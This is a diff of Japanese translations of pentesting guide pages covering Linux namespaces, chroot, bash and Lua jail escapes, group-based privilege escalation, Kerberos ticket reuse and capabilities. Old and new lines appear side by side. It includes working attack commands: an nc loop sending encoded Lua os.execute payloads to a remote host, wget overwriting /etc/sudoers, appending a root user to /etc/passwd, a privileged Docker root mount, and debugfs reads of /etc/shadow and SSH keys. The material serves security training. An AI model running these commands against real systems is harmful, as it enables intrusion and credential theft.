### **ネットワーク名前空間**
{{#ref}}
network-namespace.md
{{#endref}}
### **IPC ネームスペース**
### **IPC 名前空間**
{{#ref}}
ipc-namespace.md
{{#endref}}
### **UTS ネームスペース**
### **UTS 名前空間**
{{#ref}}
uts-namespace.md
{{#endref}}
### タイム ネームスペース
### 時間名前空間
{{#ref}}
time-namespace.md
{{#endref}}
### ユーザー ネームスペース
### ユーザー名前空間
{{#ref}}
user-namespace.md

View File

@ -4,18 +4,19 @@
## 基本情報
cgroup 名前空間は、**名前空間内で実行されているプロセスのための cgroup 階層の隔離を提供する Linux カーネルの機能**です。cgroups制御グループの略は、CPU、メモリ、I/O などの**システムリソースに対する制限を管理および強制するためにプロセスを階層的にグループ化することを可能にするカーネル機能**です。
cgroup 名前空間は、**名前空間内で実行されているプロセスのための cgroup 階層の隔離を提供する** Linux カーネルの機能です。cgroups制御グループの略は、CPU、メモリ、I/O などの**システムリソースに対する制限を管理および強制するためにプロセスを階層的なグループに整理する**ことを可能にするカーネル機能です。
cgroup 名前空間は、以前に議論した他の名前空間タイプPID、マウント、ネットワークなどとは異なる独立した名前空間タイプではありませんが、名前空間の隔離の概念に関連しています。**cgroup 名前空間は cgroup 階層のビューを仮想化し**、cgroup 名前空間内で実行されているプロセスは、ホストや他の名前空間で実行されているプロセスとは異なる階層のビューを持ちます。
cgroup 名前空間は、以前に議論した他の名前空間タイプPID、マウント、ネットワークなどとは異なる独立した名前空間タイプではありませんが、名前空間の隔離の概念に関連しています。**Cgroup 名前空間は cgroup 階層のビューを仮想化し**、cgroup 名前空間内で実行されているプロセスは、ホストや他の名前空間で実行されているプロセスとは異なる階層のビューを持ちます。
### 仕組み:
1. 新しい cgroup 名前空間が作成されると、**それは作成プロセスの cgroup に基づいた cgroup 階層のビューから始まります**。これは、新しい cgroup 名前空間内で実行されるプロセスが、作成プロセスの cgroup に根ざした cgroup サブツリーに制限された、全体の cgroup 階層のサブセットのみを表示することを意味します。
2. cgroup 名前空間内のプロセスは、**自分の cgroup を階層のルートとして見る**ことになります。これは、名前空間内のプロセスの視点から見ると、自分の cgroup がルートとして表示され、他のサブツリーの外にある cgroup を見ることもアクセスすることもできないことを意味します。
3. cgroup 名前空間はリソースの隔離を直接提供するわけではありません; **それは cgroup 階層のビューの隔離のみを提供します**。**リソースの制御と隔離は、cgroup** サブシステム(例: cpu、memory など)自体によって強制されます。
1. 新しい cgroup 名前空間が作成されると、**それは作成プロセスの cgroup に基づいた cgroup 階層のビュー始まります**。これは、新しい cgroup 名前空間内で実行されるプロセスが、作成プロセスの cgroup に根ざした cgroup サブツリーに制限された、全体の cgroup 階層のサブセットのみを表示することを意味します。
2. cgroup 名前空間内のプロセスは、**自分の cgroup を階層のルートとして見る**ことになります。これは、名前空間内のプロセスの視点から、自分の cgroup がルートとして表示され、他のサブツリーの外にある cgroup を見ることもアクセスすることもできないことを意味します。
3. cgroup 名前空間はリソースの隔離を直接提供するわけではありません; **それは cgroup 階層のビューの隔離のみを提供します**。**リソースの制御と隔離は、cgroup** サブシステム(例: cpu、memory など)自体によって依然として強制されます。
CGroups に関する詳細情報は次を確認してください:
{{#ref}}
../cgroups.md
{{#endref}}
@ -28,29 +29,29 @@ CGroups に関する詳細情報は次を確認してください:
```bash
sudo unshare -C [--mount-proc] /bin/bash
```
新しいインスタンスの `/proc` ファイルシステムを `--mount-proc` パラメータを使用してマウントすることで、新しいマウント名前空間がその名前空間に特有のプロセス情報の**正確で孤立したビュー**を持つことを保証します。
新しいインスタンスの `/proc` ファイルシステムを `--mount-proc` パラメータを使用してマウントすることで、新しいマウントネームスペースがそのネームスペースに特有のプロセス情報の**正確で隔離されたビュー**を持つことを保証します。
<details>
<summary>エラー: bash: fork: メモリを割り当てることができません</summary>
`unshare``-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) 名前空間を処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです:
`unshare``-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) ネームスペースを処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです:
1. **問題の説明**
- Linux カーネルはプロセスが `unshare` システムコールを使用して新しい名前空間を作成することを許可します。しかし、新しい PID 名前空間の作成を開始するプロセス「unshare」プロセスと呼ばれるは新しい名前空間に入らず、その子プロセスのみが入ります。
- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID 名前空間に存在します。
- 新しい名前空間`/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、孤児プロセスを引き取る特別な役割を持つ PID 1 により名前空間のクリーンアップがトリガーされます。Linux カーネルはその名前空間での PID 割り当てを無効にします。
- Linux カーネルはプロセスが `unshare` システムコールを使用して新しいネームスペースを作成することを許可します。しかし、新しい PID ネームスペースの作成を開始するプロセス「unshare」プロセスと呼ばれるは新しいネームスペースに入らず、その子プロセスのみが入ります。
- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID ネームスペースに存在します。
- 新しいネームスペース内`/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、孤児プロセスを引き取る特別な役割を持つ PID 1 によりネームスペースのクリーンアップがトリガーされます。Linux カーネルはそのネームスペース内での PID 割り当てを無効にします。
2. **結果**
- 新しい名前空間での PID 1 の終了は `PIDNS_HASH_ADDING` フラグのクリーンアップを引き起こします。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てることができません」というエラーが発生します。
- 新しいネームスペース内での PID 1 の終了は、`PIDNS_HASH_ADDING` フラグのクリーンアップを引き起こします。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てることができません」というエラーが発生します。
3. **解決策**
- この問題は、`unshare``-f` オプションを使用することで解決できます。このオプションにより、`unshare` は新しい PID 名前空間を作成した後に新しいプロセスをフォークします。
- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しい名前空間で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しい名前空間内に安全に収容され、PID 1 の早期終了を防ぎ、正常な PID 割り当てを可能にします。
- この問題は、`unshare``-f` オプションを使用することで解決できます。このオプションにより、`unshare` は新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。
- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、正常な PID 割り当てを可能にします。
`unshare``-f` フラグで実行されることを保証することで、新しい PID 名前空間が正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
`unshare``-f` フラグで実行されることを保証することで、新しい PID ネームスペースが正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
</details>
@ -58,7 +59,7 @@ sudo unshare -C [--mount-proc] /bin/bash
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### プロセスがどの名前空間にるかを確認する
### プロセスがどの名前空間にるかを確認する
```bash
ls -l /proc/self/ns/cgroup
lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]'
@ -73,7 +74,7 @@ sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null
```bash
nsenter -C TARGET_PID --pid /bin/bash
```
また、**ルートでない限り、他のプロセスの名前空間に入ることはできません**。そして、**ディスクリプタ**がそれを指していない限り(例えば `/proc/self/ns/cgroup`)、他の名前空間に**入ることはできません**。
他のプロセスの名前空間に**入ることができるのはルートユーザーのみ**です。また、**ディスクリプタ**(例えば`/proc/self/ns/cgroup`)がないと他の名前空間に**入ることはできません**。
## 参考文献

View File

@ -8,16 +8,16 @@
## Chroot エスケープ
[ウィキペディア](https://en.wikipedia.org/wiki/Chroot#Limitations)より: chroot メカニズムは **特権のある** (**root**) **ユーザーによる意図的な改ざんに対して防御することを目的としていません**。ほとんどのシステムでは、chroot コンテキストは正しくスタックされず、十分な特権を持つ chroot プログラムは **二度目の chroot を実行して脱出することができます**。\
[wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations) より: chroot メカニズムは **特権のある** (**root**) **ユーザーによる意図的な改ざんに対して防御することを目的としていません**。ほとんどのシステムでは、chroot コンテキストは正しくスタックされず、十分な特権を持つ chroot プログラムは **二度目の chroot を実行して脱出することができます**。\
通常、脱出するには chroot 内で root である必要があります。
> [!TIP]
> **ツール** [**chw00t**](https://github.com/earthquake/chw00t) は、のシナリオを悪用して `chroot` から脱出するために作成されました。
> **ツール** [**chw00t**](https://github.com/earthquake/chw00t) は、以下のシナリオを悪用して `chroot` から脱出するために作成されました。
### Root + CWD
> [!WARNING]
> chroot 内で **root** である場合、**別の chroot** を作成することで **脱出** できます。これは、2 つの chroot が共存できないため (Linux では)、フォルダーを作成し、その新しいフォルダー上に **新しい chroot を作成** すると、**その外にいるあなた** は **新しい chroot の外にいることになり**、したがってファイルシステム内にいることになります。
> chroot 内で **root** である場合、**別の chroot** を作成することで **脱出** できます。これは、2 つの chroot が共存できないため (Linux では)、フォルダーを作成し、その新しいフォルダー**新しい chroot を作成**すると、**その外にいるあなた**は **新しい chroot の外にいることになります**。したがって、ファイルシステム内にいることになります。
>
> これは通常、chroot が作業ディレクトリを指定された場所に移動しないために発生します。したがって、chroot を作成できますが、その外にいることになります。
@ -79,7 +79,7 @@ system("/bin/bash");
### Root + Saved fd
> [!WARNING]
> これは前のケースに似ていますが、この場合、**攻撃者は現在のディレクトリへのファイルディスクリプタを保存し**、その後**新しいフォルダにchrootを作成します**。最後に、**chrootの外でそのFDにアクセスできるため**、それにアクセスし、**脱出**します。
> これは前のケースに似ていますが、この場合、**攻撃者は現在のディレクトリへのファイルディスクリプタを保存し**、その後**新しいフォルダにchrootを作成します**。最後に、彼は**chrootの外でそのFDにアクセスできるため**、それにアクセスし、**脱出**します。
<details>
@ -116,7 +116,7 @@ chroot(".");
> - 子プロセスで異なるフォルダ内でchrootを実行する
> - 親プロセスで、新しい子プロセスのchrootの外にあるフォルダのFDを作成する
> - UDSを使用してそのFDを子プロセスに渡す
> - 子プロセスはそのFDにchdirし、chrootの外にいるため、脱出することができる
> - 子プロセスはそのFDにchdirし、chrootの外にいるため、監獄から脱出する
### Root + Mount
@ -139,7 +139,7 @@ chroot(".");
> [!WARNING]
>
> - フォーク子プロセスを作成し、FSのより深い異なるフォルダにchrootし、その上でCDする
> - フォーク子プロセスを作成し、FSのより深いフォルダにchrootし、その上でCDする
> - 親プロセスから、子プロセスがいるフォルダを子のchrootの前のフォルダに移動する
> - この子プロセスはchrootの外にいることになる
@ -147,7 +147,7 @@ chroot(".");
> [!WARNING]
>
> - 以前はユーザーが自分のプロセスを自分のプロセスからデバッグできましたが... これはもはやデフォルトでは不可能です
> - 以前はユーザーが自分のプロセスを自分のプロセスからデバッグできましたがこれはもはやデフォルトでは不可能です
> - それでも、可能であれば、プロセスにptraceし、その中でシェルコードを実行することができます[この例を参照](linux-capabilities.md#cap_sys_ptrace))。
## Bash Jails
@ -177,14 +177,14 @@ echo /home/* #List directory
```
### スクリプトを作成
_/bin/bash_ を内容とする実行可能ファイルを作成できるか確認してください。
_check if you can create an executable file with _/bin/bash_ as content_
```bash
red /bin/bash
> w wx/path #Write /bin/bash in a writable and executable path
```
### SSHからbashを取得する
ssh経由でアクセスしている場合、このトリックを使用してbashシェルを実行できます
ssh経由でアクセスしている場合、このトリックを使用してbashシェルを実行できます:
```bash
ssh -t user@<IP> bash # Get directly an interactive shell
ssh user@<IP> -t "bash --noprofile -i"
@ -205,10 +205,11 @@ wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
### その他のトリック
[**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\
[https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells**](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\
[https://gtfobins.github.io](https://gtfobins.github.io/**](https/gtfobins.github.io)\
[https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\
[https://gtfobins.github.io](https://gtfobins.github.io)\
**ページも興味深いかもしれません:**
{{#ref}}
../bypass-bash-restrictions/
{{#endref}}
@ -217,6 +218,7 @@ wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
次のページで Python ジェイルからの脱出に関するトリックがあります:
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
{{#endref}}
@ -238,7 +240,7 @@ print(rawget(string, "char")(0x41, 0x42))
```bash
for k,v in pairs(string) do print(k,v) end
```
注意してください前のワンライナーを**異なるlua環境で実行するたびに関数の順序が変わります**。したがって、特定の関数を実行する必要がある場合は、異なるlua環境をロードしてleライブラリの最初の関数を呼び出すことでブルートフォース攻撃を行うことができます。
注意してください前のワンライナーを**異なるlua環境で実行するたびに関数の順序が変わります**。したがって、特定の関数を実行する必要がある場合は、異なるlua環境をロードしてle libraryの最初の関数を呼び出すブルートフォース攻撃を実行できます。
```bash
#In this scenario you could BF the victim that is generating a new lua environment
#for every interaction with the following line and when you are lucky
@ -249,7 +251,7 @@ for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end
#and "char" from string library, and the use both to execute a command
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
```
**インタラクティブなluaシェルを取得する**: 制限されたluaシェル内にいる場合は、次のように呼び出すことで新しいluaシェルできれば無制限を取得できます:
**インタラクティブなluaシェルを取得**: 制限されたluaシェル内にいる場合は、次のように呼び出すことで新しいluaシェルできれば無制限を取得できます:
```bash
debug.debug()
```

View File

@ -1,12 +1,12 @@
# 興味深いグループ - Linux Privesc
# 興味深いグループ - Linux特権昇格
{{#include ../../../banners/hacktricks-training.md}}
## Sudo/Admin グループ
## Sudo/Adminグループ
### **PE - 方法 1**
### **PE - メソッド 1**
**時々**、**デフォルトで(またはいくつかのソフトウェアが必要とするために)** **/etc/sudoers** ファイル内にこれらの行のいくつかを見つけることができます:
**時々**、**デフォルトで(またはいくつかのソフトウェアが必要とするために)** **/etc/sudoers**ファイル内にこれらの行のいくつかを見つけることができます:
```bash
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
@ -26,12 +26,12 @@ sudo su
```bash
find / -perm -4000 2>/dev/null
```
バイナリ **pkexec が SUID バイナリ** であり、あなたが **sudo** または **admin** に属している場合、`pkexec` を使用して sudo としてバイナリを実行できる可能性があります。\
これは通常、これらが **polkit ポリシー** 内のグループであるためです。このポリシーは基本的に、どのグループが `pkexec` を使用できるかを特定します。次のコマンドで確認してください:
もしバイナリ **pkexec が SUID バイナリ** であり、あなたが **sudo** または **admin** に属している場合、`pkexec` を使用して sudo としてバイナリを実行できる可能性があります。\
これは通常、これらが **polkit ポリシー** 内のグループだからです。このポリシーは基本的に、どのグループが `pkexec` を使用できるかを特定します。次のコマンドで確認してください:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
そこでは、どのグループが**pkexec**を実行することを許可されているか、そして**デフォルトで**いくつかのLinuxディストリビューションでは、グループ**sudo**と**admin**が表示されるかを見つけることができます。
そこでは、どのグループが**pkexec**を実行することを許可されているかがわかります。また、いくつかのLinuxディストリビューションでは、**sudo**および**admin**グループが**デフォルトで**表示されます。
**rootになるには、次のコマンドを実行できます**:
```bash
@ -56,13 +56,13 @@ pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
```
## Wheel Group
**時々**、**デフォルトで** **/etc/sudoers** ファイル内にこの行が見つかります:
**時には**、**デフォルトで** **/etc/sudoers** ファイル内にこの行を見つけることができます:
```
%wheel ALL=(ALL:ALL) ALL
```
これは、**wheelグループに属する任意のユーザーがsudoとして何でも実行できる**ことを意味します。
この場合、**rootになるには、単に次を実行すればよい**:
この場合、**rootになるには次のコマンドを実行するだけです**:
```
sudo su
```
@ -74,11 +74,11 @@ sudo su
```
So, read the file and try to **crack some hashes**.
## Staff Group
## スタッフグループ
**staff**: ユーザーがルート権限を必要とせずにシステムにローカル変更を加えることを許可します(`/usr/local`)。`/usr/local/bin`内の実行可能ファイルは、任意のユーザーのPATH変数に含まれており、同じ名前の`/bin`および`/usr/bin`内の実行可能ファイルを「上書き」する可能性があります。「adm」グループと比較してください。これは監視/セキュリティに関連しています。 [\[source\]](https://wiki.debian.org/SystemGroups)
**staff**: ユーザーがルート権限を必要とせずにシステムにローカル変更を加えることを許可します(`/usr/local`)。 `/usr/local/bin`内の実行可能ファイルは、すべてのユーザーのPATH変数に含まれており、同じ名前の`/bin`および`/usr/bin`内の実行可能ファイルを「上書き」する可能性があります。 監視/セキュリティに関連する「adm」グループと比較してください。 [\[source\]](https://wiki.debian.org/SystemGroups)
debianディストリビューションでは、`$PATH`変数は、特権ユーザーであろうとなかろうと、`/usr/local/`が最優先で実行されることを示しています。
Debianディストリビューションでは、`$PATH`変数は、特権ユーザーであろうとなかろうと、`/usr/local/`が最優先で実行されることを示しています。
```bash
$ echo $PATH
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
@ -88,7 +88,7 @@ $ echo $PATH
```
`/usr/local`にあるいくつかのプログラムをハイジャックできれば、簡単にrootを取得できます。
`run-parts`プログラムをハイジャックすることは、rootを取得する簡単な方法です。なぜなら、ほとんどのプログラムは(crontabやsshログイン時など) `run-parts`を実行するからです。
`run-parts`プログラムをハイジャックすることは、rootを取得する簡単な方法です。なぜなら、ほとんどのプログラムは(crontabやSSHログイン時など) `run-parts`を実行するからです。
```bash
$ cat /etc/crontab | grep run-parts
17 * * * * root cd / && run-parts --report /etc/cron.hourly
@ -141,7 +141,7 @@ debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
```
debugfsを使用すると、**ファイルを書き込む**こともできることに注意してください。えば、`/tmp/asd1.txt``/tmp/asd2.txt`にコピーするには、次のようにします:
debugfsを使用すると、**ファイルを書き込む**こともできることに注意してください。たとえば、`/tmp/asd1.txt``/tmp/asd2.txt`にコピーするには、次のようにします:
```bash
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
@ -150,13 +150,13 @@ debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
## Video Group
コマンド`w`を使用すると、**システムにログインしているユーザー**を見つけることができ、次のような出力が表示されます:
コマンド`w`を使用すると、**システムにログインしているユーザー**を確認でき、次のような出力が表示されます:
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
**tty1**は、ユーザー**yossiが物理的に**マシンのターミナルにログインしていることを意味します。
**tty1**は、ユーザー**yossiが物理的に**マシンの端末にログインしていることを意味します。
**video group**は、画面出力を表示するアクセス権を持っています。基本的に、画面を観察することができます。そのためには、**画面上の現在の画像を生データで取得**し、画面が使用している解像度を取得する必要があります。画面データは`/dev/fb0`に保存でき、この画面の解像度は`/sys/class/graphics/fb0/virtual_size`で見つけることができます。
```bash
@ -193,7 +193,7 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa
#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
```
終的に、以前の提案が気に入らない場合や、何らかの理由で機能しない場合docker api firewall、ここで説明されているように、**特権コンテナを実行してそこから脱出する**ことを試すことができます:
に、以前の提案が気に入らない場合や、何らかの理由で機能しない場合docker api firewall、ここで説明されているように、**特権コンテナを実行してそこから脱出する**ことを試すことができます:
{{#ref}}
../docker-security/
@ -217,12 +217,12 @@ https://fosterelli.co/privilege-escalation-via-docker.html
## Adm グループ
通常、**`adm`** グループの**メンバー**は、_ /var/log/_ 内にあるログファイルを**読む**権限を持っています。\
通常、**`adm`** グループの**メンバー**は、_ /var/log/_ 内にある**ログ**ファイルを**読む**権限を持っています。\
したがって、このグループ内のユーザーを侵害した場合は、**ログを確認する**べきです。
## Auth グループ
OpenBSD内では、**auth** グループは通常、_**/etc/skey**_ および _**/var/db/yubikey**_ フォルダーに書き込むことができます。\
これらの権限は、以下のエクスプロイトを使用して**特権を昇格させる**ために悪用される可能性があります:[https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
OpenBSD内では、**auth** グループは通常、使用されている場合に_**/etc/skey**_ および _**/var/db/yubikey**_ フォルダーに書き込むことができます。\
これらの権限は、特権をrootに昇格させるために次のエクスプロイトを悪用することができます:[https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -10,7 +10,7 @@ AD内のLinuxマシンは、**異なるCCACHEチケットをファイル内に
### LinuxからのAD列挙
LinuxまたはWindowsのbashでADにアクセスできる場合、ADを列挙するために[https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn)を試すことができます。
LinuxまたはWindowsのbashでADにアクセスできる場合、[https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn)を試してADを列挙できます。
LinuxからADを列挙する**他の方法**を学ぶには、次のページを確認してください:
@ -20,7 +20,7 @@ LinuxからADを列挙する**他の方法**を学ぶには、次のページを
### FreeIPA
FreeIPAは、主に**Unix**環境向けのMicrosoft Windows **Active Directory**のオープンソース**代替**です。Active Directoryに類似した管理のために、完全な**LDAPディレクトリ**とMIT **Kerberos**キー配布センターを組み合わせています。CAおよびRA証明書管理のためにDogtag **Certificate System**を利用し、スマートカードを含む**多要素**認証をサポートしています。Unix認証プロセスのためにSSSDが統合されています。詳細については、以下を参照してください:
FreeIPAは、主に**Unix**環境向けのMicrosoft Windows **Active Directory**のオープンソース**代替**です。Active Directoryに類似した管理のために、完全な**LDAPディレクトリ**とMIT **Kerberos**キー配布センターを組み合わせています。CAおよびRA証明書管理のためにDogtag **Certificate System**を利用し、スマートカードを含む**多要素**認証をサポートしています。Unix認証プロセスのためにSSSDが統合されています。詳細については次をご覧ください:
{{#ref}}
../freeipa-pentesting.md
@ -30,7 +30,7 @@ FreeIPAは、主に**Unix**環境向けのMicrosoft Windows **Active Directory**
### パス・ザ・チケット
このページでは、**Linuxホスト内でKerberosチケットを見つけることができるさまざまな場所**を見つけることができます。次のページでは、これらのCCacheチケット形式をKirbiWindowsで使用する必要がある形式に変換する方法と、PTT攻撃を実行する方法を学ぶことができます
このページでは、**Linuxホスト内でKerberosチケットを見つけることができるさまざまな場所**を見つけることができます。次のページでは、このCCacheチケット形式をKirbiWindowsで使用する必要がある形式に変換する方法と、PTT攻撃を実行する方法を学ぶことができます
{{#ref}}
../../windows-hardening/active-directory-methodology/pass-the-ticket.md
@ -38,7 +38,7 @@ FreeIPAは、主に**Unix**環境向けのMicrosoft Windows **Active Directory**
### /tmpからのCCACHEチケット再利用
CCACHEファイルは**Kerberos資格情報**を保存するためのバイナリ形式で、通常は`/tmp`に600の権限で保存されます。これらのファイルは、ユーザーのUIDに相当する**名前形式`krb5cc_%{uid}`**で識別できます。認証チケットの検証には、**環境変数`KRB5CCNAME`**を希望するチケットファイルのパスに設定する必要があり、再利用を可能にします。
CCACHEファイルは**Kerberos資格情報**を保存するためのバイナリ形式で、通常は`/tmp`に600の権限で保存されます。これらのファイルは、ユーザーのUIDに関連する**名前形式`krb5cc_%{uid}`**で識別できます。認証チケットの検証には、**環境変数`KRB5CCNAME`**を希望するチケットファイルのパスに設定する必要があり、再利用を可能にします。
`env | grep KRB5CCNAME`を使用して、認証に使用されている現在のチケットをリストします。形式はポータブルで、環境変数を設定することでチケットを**再利用できます**。`export KRB5CCNAME=/tmp/ticket.ccache`を使用します。Kerberosチケットの名前形式は`krb5cc_%{uid}`で、uidはユーザーのUIDです。
```bash
@ -60,7 +60,7 @@ cd tickey/tickey
make CONF=Release
/tmp/tickey -i
```
この手順は、さまざまなセッションに注入を試み、成功を示すために抽出されたチケットを `/tmp``__krb_UID.ccache` という命名規則で保存します。
この手順は、さまざまなセッションに注入を試み、抽出されたチケットを `/tmp``__krb_UID.ccache` という命名規則で保存することで成功を示します。
### SSSD KCMからのCCACHEチケットの再利用
@ -73,7 +73,7 @@ python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
```
**資格情報キャッシュKerberosブロブは、Mimikatz/Rubeusに渡すことができる使用可能なKerberos CCache**ファイルに変換できます。
### keytabからのCCACHEチケット再利用
### キータブからのCCACHEチケット再利用
```bash
git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
@ -81,7 +81,7 @@ klist -k /etc/krb5.keytab
```
### /etc/krb5.keytab からアカウントを抽出する
サービスアカウントキーは、ルート権限で動作するサービスにとって不可欠であり、**`/etc/krb5.keytab`** ファイルに安全に保存されています。これらのキーは、サービスのパスワードに似ており、厳格な機密性が求められます。
サービスアカウントキーは、root権限で動作するサービスにとって不可欠であり、**`/etc/krb5.keytab`** ファイルに安全に保存されています。これらのキーは、サービスのパスワードに似ており、厳格な機密性が求められます。
keytabファイルの内容を確認するには、**`klist`** を使用できます。このツールは、特にキータイプが23として識別される場合に、ユーザー認証のための**NT Hash**を含むキーの詳細を表示するように設計されています。
```bash

View File

@ -15,8 +15,8 @@ Linux capabilitiesは**root権限をより小さく、明確な単位に分割**
1. **Inherited (CapInh)**:
- **目的**: 親プロセスから引き継がれる権限を決定します。
- **機能**: 新しいプロセスが作成されると、このセットから親の権限を引き継ぎます。プロセスの生成を通じて特定の権限を維持するのに役立ちます。
- **制限**: プロセスは親が持っていなかった権限を得ることはできません。
- **機能**: 新しいプロセスが作成されると、このセットから親の権限を引き継ぎます。プロセスの生成間で特定の権限を維持するのに役立ちます。
- **制限**: プロセスは親が持っていなかった権限を得ることはできません。
2. **Effective (CapEff)**:
@ -26,14 +26,14 @@ Linux capabilitiesは**root権限をより小さく、明確な単位に分割**
3. **Permitted (CapPrm)**:
- **目的**: プロセスが持つことができる最大の権限セットを定義します。
- **機能**: プロセスは許可されたセットから有効なセットに権限を昇格させ、その権限を使用できるようにします。また、許可されたセットから権限を削除することもできます。
- **目的**: プロセスが持つことができる最大の権限セットを定義します。
- **機能**: プロセスは許可されたセットから有効なセットに権限を昇格させ、その権限を使用できるようにします。また、許可されたセットから権限を削除することもできます。
- **境界**: プロセスが持つことができる権限の上限として機能し、プロセスが事前に定義された権限の範囲を超えないようにします。
4. **Bounding (CapBnd)**:
- **目的**: プロセスがライフサイクルの間に取得できる権限に上限を設けます。
- **機能**: プロセスが引き継ぎ可能または許可されたセットに特定の権限を持っていても、バウンディングセットにも含まれていない限り、その権限を取得することはできません。
- **機能**: プロセスが引き継ぎ可能または許可されたセットに特定の権限を持っていても、その権限がバウンディングセットにも含まれていない限り、その権限を取得することはできません。
- **使用例**: このセットは、プロセスの権限昇格の可能性を制限するのに特に役立ち、追加のセキュリティ層を提供します。
5. **Ambient (CapAmb)**:
@ -49,7 +49,7 @@ process.add_capability_to_set('CapPrm', 'new_capability')
process.limit_capabilities('CapBnd')
process.preserve_capabilities_across_execve('CapAmb')
```
さらに情報については、以下を確認してください:
さらに情報については、を確認してください:
- [https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work](https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work)
- [https://blog.ploetzli.ch/2014/understanding-linux-capabilities/](https://blog.ploetzli.ch/2014/understanding-linux-capabilities/)
@ -100,7 +100,7 @@ CapAmb: 0000000000000000
capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw
```
実行中のプロセスの能力を確認するには、**getpcaps**ツールをそのプロセスIDPIDの後に続けて使用するだけです。プロセスIDのリストを提供することもできます。
実行中のプロセスの能力を確認するには、**getpcaps**ツールを使用し、その後にプロセスIDPIDを続けて入力します。また、プロセスIDのリストを提供することもできます。
```bash
getpcaps 1234
```
@ -132,7 +132,7 @@ _getpcaps_ツールは、特定のスレッドの利用可能な能力を照会
getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep
```
バイナリの**能力を持つものを検索する**には、次のようにします:
バイナリを**能力で検索**するには、次のコマンドを使用します:
```bash
getcap -r / 2>/dev/null
```
@ -148,16 +148,16 @@ _capsh_自体の出力に加えて、_tcpdump_コマンド自体もエラーを
このエラーは、pingコマンドがICMPソケットを開くことが許可されていないことを明確に示しています。これで、これが期待通りに機能することが確実になりました。
### 能の削除
### 能の削除
バイナリの機能を削除することができます。
バイナリの能力を削除するには、
```bash
setcap -r </path/to/binary>
```
## ユーザーの能力
明らかに**能力をユーザーにも割り当てることが可能です**。これはおそらく、ユーザーによって実行されるすべてのプロセスがそのユーザーの能力を使用できることを意味します。\
